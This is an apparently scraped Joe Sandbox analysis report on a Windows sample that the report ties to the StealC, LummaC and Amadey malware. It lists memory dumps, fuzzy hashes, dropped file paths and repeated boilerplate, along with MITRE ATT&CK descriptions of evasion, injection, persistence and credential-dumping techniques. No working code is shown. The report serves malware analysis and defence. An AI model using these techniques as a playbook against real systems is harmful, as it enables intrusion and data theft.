Associated: 00000007.00000002.2464551496.0000000000DD2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000DD3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000E00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464619669.0000000000E29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464638394.0000000000E2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E2B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E31000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464700079.0000000000E3F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464728430.0000000000E40000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b30000_ea2c7beae0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b3cbea160d85fa2a21b8a0e61565be2314b529efb0ca68ec4f29d69354f5282
Instruction ID: 52581d0b7ba26970b7fc5b5cf7479f14c98f5e585528a8d98c5f44ef411aeae2
Opcode Fuzzy Hash: 4b3cbea160d85fa2a21b8a0e61565be2314b529efb0ca68ec4f29d69354f5282
Instruction Fuzzy Hash: 97F0243AB1821A1BA210CDAAA880C3BB3D6DBC9355F249538EA44C3201DD72E8068190

Function 00B4B410 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2463264671.0000000000B31000.00000040.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000007.00000002.2463161327.0000000000B30000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463380659.0000000000B90000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463432220.0000000000B9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463451761.0000000000B9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463486356.0000000000B9C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463610520.0000000000CF6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463628970.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D12000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D1D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463714247.0000000000D26000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463794569.0000000000D27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463881741.0000000000D28000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463938596.0000000000D29000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464023851.0000000000D4F000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464069086.0000000000D50000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464121644.0000000000D51000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464157606.0000000000D61000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464180393.0000000000D79000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464199389.0000000000D7D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464217632.0000000000D85000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464235555.0000000000D8B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464287524.0000000000D95000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464333069.0000000000D97000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464354348.0000000000D9E000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464375005.0000000000DA2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464396100.0000000000DAC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464415100.0000000000DAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464434088.0000000000DAE000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464453908.0000000000DB6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464472269.0000000000DB7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464491731.0000000000DBF000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464514168.0000000000DCF000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464533295.0000000000DD1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464551496.0000000000DD2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000DD3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000E00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464619669.0000000000E29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464638394.0000000000E2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E2B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E31000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464700079.0000000000E3F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464728430.0000000000E40000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b30000_ea2c7beae0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 809ee23363f840c811a801533be2b64f834fb93f4c5a4ab9cc37b5a2fd812bb4
Instruction ID: d2eda005ceb180171530f3abc7abdc4beb67d50c99111040b5ef8ab99cb06a59
Opcode Fuzzy Hash: 809ee23363f840c811a801533be2b64f834fb93f4c5a4ab9cc37b5a2fd812bb4
Instruction Fuzzy Hash: 47F0E5B1A046106BDF228A549CC0F37BBDCCB8B364F1914A6FA8597703D261E945C3E6

Function 00B41ACD Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2463264671.0000000000B31000.00000040.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000007.00000002.2463161327.0000000000B30000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463380659.0000000000B90000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463432220.0000000000B9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463451761.0000000000B9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463486356.0000000000B9C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463610520.0000000000CF6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463628970.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D12000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D1D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463714247.0000000000D26000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463794569.0000000000D27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463881741.0000000000D28000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463938596.0000000000D29000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464023851.0000000000D4F000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464069086.0000000000D50000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464121644.0000000000D51000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464157606.0000000000D61000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464180393.0000000000D79000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464199389.0000000000D7D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464217632.0000000000D85000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464235555.0000000000D8B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464287524.0000000000D95000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464333069.0000000000D97000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464354348.0000000000D9E000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464375005.0000000000DA2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464396100.0000000000DAC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464415100.0000000000DAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464434088.0000000000DAE000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464453908.0000000000DB6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464472269.0000000000DB7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464491731.0000000000DBF000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464514168.0000000000DCF000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464533295.0000000000DD1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464551496.0000000000DD2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000DD3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000E00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464619669.0000000000E29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464638394.0000000000E2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E2B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E31000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464700079.0000000000E3F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464728430.0000000000E40000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b30000_ea2c7beae0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7291a24705a397eb4a73d32365c87c0bdc93e86409c2deba91a00e0544556d03
Instruction ID: b691bc03c4b11aebbaec3bfbd368fa1d41e3f054160445c216b830966628d796
Opcode Fuzzy Hash: 7291a24705a397eb4a73d32365c87c0bdc93e86409c2deba91a00e0544556d03
Instruction Fuzzy Hash: 0EC01234A180028B82448F04A8A5432A3B8A706308B00602ADA06F3322DE20C4429A09

Function 00B41A3C Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2463264671.0000000000B31000.00000040.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000007.00000002.2463161327.0000000000B30000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463380659.0000000000B90000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463432220.0000000000B9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463451761.0000000000B9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463486356.0000000000B9C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463610520.0000000000CF6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463628970.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D12000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D1D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463714247.0000000000D26000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463794569.0000000000D27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463881741.0000000000D28000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463938596.0000000000D29000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464023851.0000000000D4F000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464069086.0000000000D50000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464121644.0000000000D51000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464157606.0000000000D61000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464180393.0000000000D79000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464199389.0000000000D7D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464217632.0000000000D85000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464235555.0000000000D8B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464287524.0000000000D95000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464333069.0000000000D97000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464354348.0000000000D9E000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464375005.0000000000DA2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464396100.0000000000DAC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464415100.0000000000DAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464434088.0000000000DAE000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464453908.0000000000DB6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464472269.0000000000DB7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464491731.0000000000DBF000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464514168.0000000000DCF000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464533295.0000000000DD1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464551496.0000000000DD2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000DD3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000E00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464619669.0000000000E29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464638394.0000000000E2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E2B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E31000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464700079.0000000000E3F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464728430.0000000000E40000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b30000_ea2c7beae0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de54faffc7fefa4f7a5e9639683396a883410d599ad222e84841d658a7d7c83a
Instruction ID: a917dd8e02970391d2c87f883f8d10f03de03ca0b36e23f7c85fc7ffc7db7fb4
Opcode Fuzzy Hash: de54faffc7fefa4f7a5e9639683396a883410d599ad222e84841d658a7d7c83a
Instruction Fuzzy Hash: D0C09B34E5D041CBC244CF89E8E1531A3FC570730CB10343A9717F7361C960D445950D

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report h3yRbjNWk1.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\1000350002\6a8d4317d4.exe

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\4af6eb3e1f.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe

Windows Analysis Report
h3yRbjNWk1.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
